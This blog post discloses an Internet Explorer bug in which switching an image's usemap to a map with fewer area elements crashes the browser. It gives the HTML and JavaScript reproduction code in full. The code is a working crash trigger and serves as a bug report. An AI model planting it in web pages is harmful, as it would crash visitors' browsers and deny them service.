Jason Gabriele’s Blog

I’ve posted this in the past on my old blog, but I thought I would bring it up again since it still works. Internet Explorer has a bug which allows you to crash the browser. The bug occurs when IE tries to bring focus to an imagemap after you’ve switched it with another imagemap. It appears to reference the # of the area element which it had focused on before. If the new map has less than that #, there is no corresponding element to focus on and the browser crashes.

Here is the reproduce code:


<script type="text/javascript">
var crashMe = function () { document.getElementById("test").useMap = "#map2"; };
</script>
<img src="http://files.radixpub.com/crash.gif" id="test" usemap="#map1" />
<map name="map1">
<area href="javascript:return void;" shape="rect" coords="1,1,1,1" />
<area href="javascript:crashMe();" shape="rect" coords="1,1,300,300" />
</map>
<map name="map2">
<area href="javascript:return void;" shape="rect" coords="1,1,1,1" />
</map>


Link to file with code above